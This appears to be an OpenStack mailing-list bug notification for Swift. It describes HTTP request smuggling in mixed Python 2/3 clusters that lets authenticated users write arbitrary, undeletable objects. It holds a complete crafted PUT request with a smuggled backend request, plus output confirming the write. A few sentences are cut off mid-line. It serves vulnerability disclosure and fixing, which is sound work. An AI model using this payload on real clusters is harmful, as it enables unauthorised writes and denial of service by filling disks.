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[Openstack-security] [Bug 1840507] Fix proposed to swift (feature/losf)

Fix proposed to branch: feature/losf

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  Mixed py2/py3 environment allows authed users to write arbitrary data
  to the cluster

Status in OpenStack Security Advisory:
  Won't Fix
Status in OpenStack Object Storage (swift):
  Fix Released

Bug description:
  Python 3 doesn't parse headers the same way as python 2 [1]. We
  attempt to address this failing [2], but since we're doing it at the
  application level, eventlet can still get confused about what should
  and should not be the request body.

  Consider a client request like

    PUT /v1/AUTH_test/c/o HTTP/1.1
    Host: saio:8080
    Content-Length: 4
    Connection: close
    X-Object-Meta-x-ð??´: ð???
    X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
    Transfer-Encoding: chunked

    PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
    Content-Length: 4
    X-Timestamp: 9999999999.99999_ffffffffffffffff
    Content-Type: text/evil
    X-Backend-Storage-Policy-Index: 1


  A python 2 proxy-server will auth the user, add a bunch more headers,
  and send a request on to the object-servers like

    PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
    Accept-Encoding: identity
    Expect: 100-continue
    X-Container-Device: sdb2
    Content-Length: 4
    X-Object-Meta-X-ð??´: ð???
    Connection: close
    X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
    Content-Type: application/octet-stream
    X-Backend-Storage-Policy-Index: 1
    X-Timestamp: 1565985475.83685
    X-Container-Partition: 61
    Host: saio:8080
    User-Agent: proxy-server 3752
    Referer: PUT http://saio:8080/v1/AUTH_test/c/o
    Transfer-Encoding: chunked
    X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
    X-Backend-Clean-Expiring-Object-Queue: f

  (Note that the exact order of the headers will vary but is
  significant; the above was obtained on my machine with

  On a python 3 object-server, eventlet will only have seen the headers
  up to (and not including, though that doesn't really matter) the palm
  tree. Significantly, it sees `Content-Length: 4` (which, per the spec
  [3], the proxy-server ignored) and doesn't see either of `Connection:
  close` or `Transfer-Encoding: chunked`. The *application* gets all of
  the headers, though, so it responds

    HTTP/1.1 100 Continue

  and the proxy sends the body:

    PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
    Content-Length: 4
    X-Timestamp: 9999999999.99999_ffffffffffffffff
    Content-Type: text/evil
    X-Backend-Storage-Policy-Index: 1


  Since eventlet thinks the request body is only four bytes, swift
  writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the
  `Connection: close` header, it looks for and processes more requests
  on the socket, and swift writes a second object:

    $ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/
    Path: /DUDE_u/r/pwned
      Account: DUDE_u
      Container: r
      Object: pwned
      Object hash: b05097e51f8700a3f5a29d93eb2941f2
    Content-Type: text/evil
    Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
    System Metadata:
      No metadata found
    Transient System Metadata:
      No metadata found
    User Metadata:
      No metadata found
    Other Metadata:
      No metadata found
    ETag: 4034a346ccee15292d823416f7510a2f (valid)
    Content-Length: 4 (valid)
    Partition	705
    Hash     	b05097e51f8700a3f5a29d93eb2941f2

  There are a few things worth noting at this point:

  1. This was for a replicated policy with encryption not enabled.
     Having encryption enabled would mitigate this as the attack
     payload would be encrypted; using an erasure-coded policy would
     complicate the attack, but I believe most EC schemes would still
     be vulnerable.
  2. An attacker would need to know (or be able to guess) a device
     name (such as "sdb1" above) used by one of the backend nodes.
  3. Swift doesn't know how to delete this data -- the X-Timestamp
     used was the maximum valid value, so no tombstone can be
     written over it [4].
  4. The account and container may not actually exist; it doesn't
     really matter as no container update is sent. As a result, the
     data written cannot easily be found or tracked.
  5. A small payload was used for the demonstration, but it should
     be fairly trivial to craft a larger one; this has potential as
     a DOS attack on a cluster by filling its disks.

  The fix should involve at least things: First, after re-parsing
  headers, servers should make appropriate adjustments to
  environ['wsgi.input'] to ensure that it has all relevant information
  about the request body. Second, the proxy should not include a
  Content-Length header when sending a chunk-encoded request to the

  [3] item 3

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